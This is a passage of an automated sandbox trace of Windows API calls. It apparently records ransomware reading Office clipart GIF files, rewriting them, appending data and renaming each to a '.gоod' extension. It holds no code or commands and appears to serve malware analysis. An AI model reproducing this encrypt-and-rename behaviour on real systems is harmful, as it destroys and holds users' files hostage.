office\\root\\clipart\\pub60cor\\ag00120_.gif.gоod")) returned 1 [0137.903] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF", lpFilePart=0x0) returned 0x44 [0137.903] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0137.903] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif"), fInfoLevelId=0x0, lpFileInformation=0x3a048d0 | out: lpFileInformation=0x3a048d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc44)) returned 1 [0137.903] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0137.903] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF", lpFilePart=0x0) returned 0x44 [0137.903] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0137.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0137.903] GetFileType (hFile=0x618) returned 0x1 [0137.903] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0137.903] GetFileType (hFile=0x618) returned 0x1 [0137.903] GetFileSize (in: hFile=0x618, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0xc44 [0137.903] ReadFile (in: hFile=0x618, lpBuffer=0x3a057c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x3a057c0*, lpNumberOfBytesRead=0x1faedc88*=0xc44, lpOverlapped=0x0) returned 1 [0137.905] CloseHandle (hObject=0x618) returned 1 [0138.013] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF", lpFilePart=0x0) returned 0x44 [0138.013] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0138.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0138.015] GetFileType (hFile=0x768) returned 0x1 [0138.015] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0138.015] GetFileType (hFile=0x768) returned 0x1 [0138.015] WriteFile (in: hFile=0x768, lpBuffer=0x38a0378*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x38a0378*, lpNumberOfBytesWritten=0x1faedb98*=0xc50, lpOverlapped=0x0) returned 1 [0138.016] CloseHandle (hObject=0x768) returned 1 [0138.016] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF", lpFilePart=0x0) returned 0x44 [0138.016] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.gоod", lpFilePart=0x0) returned 0x49 [0138.016] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0138.016] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4e7a4120, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc50)) returned 1 [0138.016] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0138.016] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif.gоod")) returned 1 [0138.017] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF", lpFilePart=0x0) returned 0x44 [0138.017] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0138.017] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif"), fInfoLevelId=0x0, lpFileInformation=0x38a1608 | out: lpFileInformation=0x38a1608*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf4794eb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30c2)) returned 1 [0138.017] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0138.017] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF", lpFilePart=0x0) returned 0x44 [0138.017] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0138.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0138.017] GetFileType (hFile=0x768) returned 0x1 [0138.017] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0138.017] GetFileType (hFile=0x768) returned 0x1 [0138.017] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0138.018] ReadFile (in: hFile=0x768, lpBuffer=0x38a1a20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x38a1a20*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0138.353] CloseHandle (hObject=0x768) returned 1 [0138.695] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF", lpFilePart=0x0) returned 0x44 [0138.695] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0138.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0138.695] GetFileType (hFile=0x650) returned 0x1 [0138.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0138.696] GetFileType (hFile=0x650) returned 0x1 [0138.732] SetFilePointer (in: hFile=0x650, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x30c2 [0138.732] WriteFile (in: hFile=0x650, lpBuffer=0x39436b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x39436b0*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0138.733] CloseHandle (hObject=0x650) returned 1 [0138.733] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF", lpFilePart=0x0) returned 0x44 [0138.733] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0138.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0138.733] GetFileType (hFile=0x650) returned 0x1 [0138.733] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0138.733] GetFileType (hFile=0x650) returned 0x1 [0138.733] ReadFile (in: hFile=0x650, lpBuffer=0x3945970, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x3945970*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0139.118] CloseHandle (hObject=0x650) returned 1 [0139.118] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF", lpFilePart=0x0) returned 0x44 [0139.118] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0139.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0139.118] GetFileType (hFile=0x650) returned 0x1 [0139.118] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0139.118] GetFileType (hFile=0x650) returned 0x1 [0139.118] WriteFile (in: hFile=0x650, lpBuffer=0x3891768*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x3891768*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0139.119] CloseHandle (hObject=0x650) returned 1 [0139.119] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF", lpFilePart=0x0) returned 0x44 [0139.119] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.gоod", lpFilePart=0x0) returned 0x49 [0139.119] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0139.119] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4f223712, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x30d2)) returned 1 [0139.119] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0139.119] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif.gоod")) returned 1 [0139.120] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF", lpFilePart=0x0) returned 0x44 [0139.120] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0139.120] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif"), fInfoLevelId=0x0, lpFileInformation=0x3a03e08 | out: lpFileInformation=0x3a03e08*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf45328f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1485)) returned 1 [0139.120] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0139.120] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF", lpFilePart=0x0) returned 0x44 [0139.121] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0139.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0139.121] GetFileType (hFile=0x650) returned 0x1 [0139.121] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0139.121] GetFileType (hFile=0x650) returned 0x1 [0139.121] SetFilePointer (in: hFile=0x650, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0139.121] ReadFile (in: hFile=0x650, lpBuffer=0x3a04220, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x3a04220*, lpNumberOfBytesRead=0x1faedd28*=0x485, lpOverlapped=0x0) returned 1 [0139.124] CloseHandle (hObject=0x650) returned 1 [0139.124] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF", lpFilePart=0x0) returned 0x44 [0139.124] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0139.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0139.124] GetFileType (hFile=0x650) returned 0x1 [0139.124] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0139.124] GetFileType (hFile=0x650) returned 0x1 [0139.124] SetFilePointer (in: hFile=0x650, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1485 [0139.124] WriteFile (in: hFile=0x650, lpBuffer=0x3a06a08*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x3a06a08*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0139.124] CloseHandle (hObject=0x650) returned 1 [0139.124] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF", lpFilePart=0x0) returned 0x44 [0139.124] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0139.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0139.125] GetFileType (hFile=0x650) returned 0x1 [0139.125] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0139.125] GetFileType (hFile=0x650) returned 0x1 [0139.125] ReadFile (in: hFile=0x650, lpBuffer=0x3a08cc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x3a08cc8*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0139.224] CloseHandle (hObject=0x650) returned 1 [0139.224] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF", lpFilePart=0x0) returned 0x44 [0139.224] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0139.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0139.224] GetFileType (hFile=0x650) returned 0x1 [0139.224] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0139.224] GetFileType (hFile=0x650) returned 0x1 [0139.224] WriteFile (in: hFile=0x650, lpBuffer=0x38bd9d0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x38bd9d0*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0139.225] CloseHandle (hObject=0x650) returned 1 [0139.225] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF", lpFilePart=0x0) returned 0x44 [0139.225] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.gоod", lpFilePart=0x0) returned 0x49 [0139.225] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0139.225] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4f32e770, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1495)) returned 1 [0139.225] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0139.225] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif.gоod")) returned 1 [0139.226] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF", lpFilePart=0x0) returned 0x44 [0139.226] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0139.226] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif"), fInfoLevelId=0x0, lpFileInformation=0x38f7c88 | out: lpFileInformation=0x38f7c88*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf45328f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa24)) returned 1 [0139.227] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0139.227] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF", lpFilePart=0x0) returned 0x44 [0139.227] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0139.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0139.227] GetFileType (hFile=0x650) returned 0x1 [0139.227] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0139.227] GetFileType (hFile=0x650) returned 0x1 [0139.227] GetFileSize (in: hFile=0x650, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0xa24 [0139.227] ReadFile (in: hFile=0x650, lpBuffer=0x38f9968, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x38f9968*, lpNumberOfBytesRead=0x1faedc88*=0xa24, lpOverlapped=0x0) returned 1 [0139.228] CloseHandle (hObject=0x650) returned 1 [0139.879] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF", lpFilePart=0x0) returned 0x44 [0139.879] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0139.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0139.880] GetFileType (hFile=0x6e4) returned 0x1 [0139.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0139.880] GetFileType (hFile=0x6e4) returned 0x1 [0139.880] WriteFile (in: hFile=0x6e4, lpBuffer=0x3a76bf0*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x3a76bf0*, 